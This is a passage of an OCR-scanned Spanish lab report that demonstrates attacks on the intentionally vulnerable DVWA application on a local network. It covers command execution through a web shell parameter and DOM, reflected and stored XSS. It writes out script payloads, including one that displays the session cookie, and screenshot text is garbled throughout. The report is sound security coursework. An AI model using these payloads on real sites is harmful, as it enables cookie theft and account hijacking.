L} Mas visitados @ Comenzar a usar Firefox  ¥0¢ UOC (Universitat Ober... B Inicio de sesién en el c... & Mueva pestafia

fvar/'www/dvwa'hackable/uploads

El comando cmd=pwd muestra el nombre del directorio actual, se puede
cambiar el comando pwd por cualquier otro comando del sistema.

Ataque 8: Cross Site Scripting (XSS) DOM

Este tipo de ataques consisten en ejecutar cualquier tipo de cdédigo, con el

objetivo, como por ejemplo poder robar las cookies para posteriormente robar la
identidad, etc.

Pasos para realizar el ataque XSS DOM:

» Seleccionar la opcion “XSS Dom” del aplicativo web. Seleccionar el idioma
y dar clic en la opcién Select.

© & 192.168.1.41/dvwa/vulnerabilities,

d/?default=Spanish B - %4

sar Firefox 8¢ UOC (Universitat Ober... [ Inicio de sesi .. @ Nueva pestaria

e Vulnerability: DOM Based Cross Site Scripting (XSS)

Instructions
Setup / Reset DB Please choose a language:

Solct
Brute Force

[Commandinjection | pore Information
CSRF
.
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
QL Injection (Blind)
Weak Session |Ds




» Ejecutar cddigo JavaScript en la URL del navegador web. El cédigo es el
siguiente:

http://192.168.1.41/dvwa/vulnerabilities/xss_d/?default=<script
type="text/javascript">alert("XSS DOM");</script>

Q, 192.168.1 A1/dvwa/vulnerabilities/xss_d/?default= <script type="text/javascript">alert("X55 DOM"); < /script>

“Firefox  ¥0¢ UOC (Universitat Ober... 8 Inicio de sesidn en el ... @ Nueva pestafia

i . Vulnerability: DOM Based Cross Site Scripting (XSS)

» Como resultado se obtendra un mensaje de alerta en el navegador web.

(V"1 192.168.1.41 /dvwa/vulnerabilities/xss_d/Tdefault=<script type="text/javascript”=alert("X55 DOM");< /script> Vo @ 1:?

Firefox  Y0¢ UOC (Universitat Ober... 8 Inicie desesién en el c... @& Nueva pestafia

XS5 DOM

Ataque 9: Cross Site Scripting (XSS) Reflected

Este tipo de ataques consisten en ejecutar cualquier tipo de cddigo, con el
objetivo, como por ejemplo poder robar las cookies para posteriormente robar la
identidad, etc.

Pasos para realizar el ataque XSS Reflected:

» Seleccionar la opcion “XSS Reflected” del aplicativo web. En la entrada
de texto “What’s your name” escribir cualquier nombre, se recibira como
respuesta un mensaje “Hello nombre”:

, . Vulnerability: Reflected Cross !

I Reset DB What's your name? | | | Submit



» Ejecutar cddigo JavaScript en la entrada de texto denominado “What’s
your name” del aplicativo web. El codigo es el siguiente:

<script>alert("GABRIEL")</script>

@ £ 192.168.1.41 /dvwa/vulnerabilities/xss_r/7name=<h1>GABRIEL</h1> o @ ﬁ

fox  ¥0¢ UOC (Universitat Ober... 8 Inicio de sesion en el ... @ Mueva pestafia

T | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |

Setup / Reset DB | What's your name?|t>aIert(”GABRIEL"}dscripb| Submit

Brute Force | GABRIEL

Command Injection |

Fenc |

» Como resultado se obtendra un mensaje de alerta en el navegador web.

PAN"1 192.168.1.41 /dvwa/vulnerabilities/xss_r/name= <script > alert("GABRIEL") < %2Fscript > - ﬁ

Y0¢ UOC (Universitat Ober... Inicio de sesién en el c... @ Mueva pestafia

GABRIEL

Ataque 10: Cross Site Scripting (XSS) Stored

Este tipo de ataques consisten en ejecutar cualquier tipo de cddigo, con el
objetivo, como por ejemplo poder robar las cookies para posteriormente robar la
identidad, etc.

Pasos para realizar el ataque XSS Stored:

» Seleccionar la opcion “XSS Stored” del aplicativo web. En la entrada de
texto “Name” escribir cualquier nombre, en la entrada de texto "Message”
escribir un mensaje de texto. Se recibira como respuesta el mensaje
publicado y con el nombre.



[ONN"1 192.168.1.41/dvwa/vulnerabilities/xss_s/ El

iirefox Y0 UOC (Universitat Ober.. [ Inicio desesién en el c.. @ Nueva pestaiia

e Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Name * |Galme\ ‘
Setup f Reset DB

Tests WAF He XSS Stored
Brute Force Message *
Command Injection
CSRF Sign Guestbaok
File Inclusion
File Upload
él"mum CAPTCHA wﬂiglseégtg:s}hls is a test comment.
5QL Injection
5L Injection (Blind) More Information
Weak Session IDs -
XSS (DOM)
XSS (Reflected)
T

» Ejecutar codigo JavaScript en la entrada de texto denominado “Message”
del aplicativo web. El cédigo es el siguiente:

<script>alert(document.cookie)</script>

| & 192.168.1.41 /dvwa/vulnerabilities /xss_s/ v B e §

Y0¢ UOC (Universitat Ober.., B Inicio de sesién en el .. (@ Mueva pestafia

B Vulnerability: Stored Cross Site Scripting (XSS)
mdjons—l MName * ‘Test WAF |
up / Reset DB

kscript=alert(document.cookie)</script=
te Force Message *
nmand Injection
tF Sign Guestbook
‘Inclusion

» Como resultado se obtendrd un mensaje de alerta en el navegador web,
con el tipo de seguridad y la cookie de la sesién, de manera permanente.

© £ 192.168.1.41/dvwa/vulnerabilities, /xss_s/ v [ fr

fox “O¢ UOC (Universitat Ober... B Inicio de sesion en el ... @ Mueva pestafa

security=low, PHPSESSID=03mkgnGchgaidemGjopu7ftpht




